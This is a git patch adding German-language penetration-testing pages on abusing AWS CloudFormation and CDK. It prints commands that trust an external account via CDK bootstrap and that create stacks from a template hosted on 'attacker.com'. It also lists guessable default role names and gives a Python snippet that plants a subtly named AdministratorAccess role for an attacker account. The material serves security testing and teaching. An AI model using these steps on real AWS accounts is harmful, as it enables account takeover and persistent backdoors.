From fd33899352e130c075ce0f52db29994b690c828d Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 01:29:25 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud --- src/SUMMARY.md | 1 + .../aws-cloudformation-persistence.md | 23 +++++++ .../aws-cloudformation-privesc/README.md | 61 ++++++++++++++++--- .../aws-cloudformation-and-codestar-enum.md | 12 +++- 4 files changed, 86 insertions(+), 11 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..5a8861e29 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Für weitere Informationen, greifen Sie zu: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +Der AWS CDK deployt einen CFN-Stack namens `CDKToolkit`. Dieser Stack unterstützt einen Parameter `TrustedAccounts`, der externen Konten erlaubt, CDK-Projekte in das Opferkonto zu deployen. Ein Angreifer kann dies ausnutzen, um sich selbst unbegrenzten Zugang zum Opferkonto zu gewähren, entweder indem er die AWS CLI verwendet, um den Stack mit Parametern neu zu deployen, oder die AWS CDK CLI. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index e48e6e892..252ba9771 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -Für weitere Informationen zu Cloudformation siehe: +Für weitere Informationen über cloudformation siehe: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,7 +12,7 @@ Für weitere Informationen zu Cloudformation siehe: ### `iam:PassRole`, `cloudformation:CreateStack` -Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf seinem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** +Ein Angreifer mit diesen Berechtigungen **kann Privilegien eskalieren**, indem er einen **CloudFormation-Stack** mit einer benutzerdefinierten Vorlage erstellt, die auf ihrem Server gehostet wird, um **Aktionen unter den Berechtigungen einer angegebenen Rolle auszuführen:** ```bash aws cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ @@ -24,11 +24,11 @@ Auf der folgenden Seite haben Sie ein **Exploitation-Beispiel** mit der zusätzl iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potenzielle Auswirkungen:** Privesc auf die angegebene Cloudformation-Service-Rolle. +**Potenzielle Auswirkungen:** Privilegieneskalation zur angegebenen CloudFormation-Dienstrolle. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In diesem Fall können Sie eine **bestehende Cloudformation-Stack** missbrauchen, um sie zu aktualisieren und Privilegien wie im vorherigen Szenario zu eskalieren: +In diesem Fall können Sie einen **bestehenden CloudFormation-Stack** missbrauchen, um ihn zu aktualisieren und die Privilegien wie im vorherigen Szenario zu eskalieren: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -37,15 +37,15 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen. +Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen. **Potenzielle Auswirkungen:** Privesc auf die angegebene cloudformation-Dienstrolle. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Exploit-Beispiel (geben Sie einfach keine Rolle in der Aktualisierung an). +Wenn Sie diese Berechtigung haben, aber **keine `iam:PassRole`**, können Sie dennoch **die verwendeten Stacks aktualisieren** und die **IAM-Rollen, die bereits angehängt sind, missbrauchen**. Überprüfen Sie den vorherigen Abschnitt für ein Beispiel zum Ausnutzen (geben Sie einfach keine Rolle in der Aktualisierung an). -Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** über einen Stack zu geben und den Angriff durchzuführen. +Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sich selbst die `UpdateStack` Berechtigung** für einen Stack zu geben und den Angriff durchzuführen. **Potenzielle Auswirkungen:** Privesc auf die bereits angehängte cloudformation-Dienstrolle. @@ -53,7 +53,7 @@ Die `cloudformation:SetStackPolicy` Berechtigung kann verwendet werden, um **sic Ein Angreifer mit Berechtigungen, um **eine Rolle zu übergeben und ein ChangeSet zu erstellen & auszuführen**, kann **einen neuen cloudformation-Stack erstellen/aktualisieren und die cloudformation-Dienstrollen missbrauchen**, genau wie bei CreateStack oder UpdateStack. -Der folgende Exploit ist eine **Variation des**[ **CreateStack Exploits**](./#iam-passrole-cloudformation-createstack), die die **ChangeSet-Berechtigungen** verwendet, um einen Stack zu erstellen. +Der folgende Exploit ist eine **Variation des**[ **CreateStack Exploits**](#iam-passrole-cloudformation-createstack), die die **ChangeSet-Berechtigungen** verwendet, um einen Stack zu erstellen. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -103,8 +103,53 @@ Ein Angreifer könnte diese Berechtigung ohne die passRole-Berechtigung missbrau **Potenzielle Auswirkungen:** Privesc auf die angehängten Cloudformation-Rollen. +## AWS CDK + +Das AWS CDK ist ein Toolkit, das es Benutzern ermöglicht, ihre Infrastruktur als Code in Sprachen zu definieren, mit denen sie bereits vertraut sind, sowie Abschnitte einfach wiederzuverwenden. Das CDK konvertiert dann den hochgradigen Code (z. B. Python) in Cloudformation-Vorlagen (yaml oder json). + +Um das CDK zu verwenden, muss ein administrativer Benutzer zunächst das Konto bootstrappen, was mehrere IAM-Rollen erstellt, einschließlich der *exec role*, die \*/\* Berechtigungen hat. Diese Rollen folgen der Namensstruktur `cdk----`. Das Bootstrapping muss einmal pro Region und Konto durchgeführt werden. + +Standardmäßig haben CDK-Benutzer keinen Zugriff auf die Rollen, die benötigt werden, um das CDK zu verwenden, was bedeutet, dass Sie diese manuell bestimmen müssen. Wenn Sie einen Computer eines Entwicklers oder einen CI/CD-Knoten kompromittieren, können diese Rollen angenommen werden, um sich die Fähigkeit zu geben, CFN-Vorlagen bereitzustellen, wobei die `cfn-exec`-Rolle verwendet wird, um CFN zu ermöglichen, beliebige Ressourcen bereitzustellen und das Konto vollständig zu kompromittieren. + +### Bestimmung der Rollennamen + +Wenn Sie `cloudformation:DescribeStacks` haben, sind die Rollen in einem Stack namens `CDKToolkit` definiert, und Sie können die Namen dort abrufen. + +Wenn Sie sich auf einem Computer befinden, der zum Erstellen und Bereitstellen von CDK-Projekten verwendet wurde, können Sie sie aus `cdk.out/manafest.json` im Stammverzeichnis des Projekts abrufen. + +Sie können auch eine gute Vermutung anstellen, was sie sind. `qualifier` ist eine Zeichenfolge, die den Rollen hinzugefügt wird, um mehrere Instanzen des CDK-Bootstraps gleichzeitig bereitzustellen, jedoch ist der Standardwert fest auf `hnb659fds` codiert. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Hinzufügen von bösartigem Code zum Projektquellcode + +Wenn Sie in den Projektquellcode schreiben können, aber nicht selbst bereitstellen können (zum Beispiel, wenn der Entwickler den Code über CI/CD bereitstellt, nicht von der lokalen Maschine), können Sie die Umgebung dennoch kompromittieren, indem Sie bösartige Ressourcen zum Stack hinzufügen. Folgendes fügt eine IAM-Rolle hinzu, die von einem Angreiferkonto in ein Python-CDK-Projekt übernommen werden kann. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Referenzen - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 9dc242a3c..02da448ad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -31,19 +31,25 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbraucht, um Privilegien zu eskalieren**: +In der folgenden Seite kannst du überprüfen, wie man **CloudFormation-Berechtigungen missbrauchen kann, um Privilegien zu eskalieren**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation -Überprüfe auf **Geheimnisse** oder sensible Informationen in der **Vorlage, den Parametern & Ausgaben** jeder CloudFormation +Überprüfe auf **Geheimnisse** oder sensible Informationen im **Template, den Parametern & Ausgaben** jeder CloudFormation ## Codestar -AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten an Softwareentwicklungsprojekten auf AWS. Du kannst schnell Anwendungen auf AWS mit einem AWS CodeStar-Projekt entwickeln, erstellen und bereitstellen. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind. +AWS CodeStar ist ein Dienst zum Erstellen, Verwalten und Arbeiten mit Softwareentwicklungsprojekten auf AWS. Du kannst Anwendungen schnell entwickeln, erstellen und bereitstellen mit einem AWS CodeStar-Projekt. Ein AWS CodeStar-Projekt erstellt und **integriert AWS-Dienste** für deine Projektentwicklungstoolchain. Je nach Wahl der AWS CodeStar-Projektvorlage kann diese Toolchain Quellcodeverwaltung, Build, Bereitstellung, virtuelle Server oder serverlose Ressourcen und mehr umfassen. AWS CodeStar **verwaltet auch die Berechtigungen, die für Projektbenutzer** (genannt Teammitglieder) erforderlich sind. ### Enumeration ```bash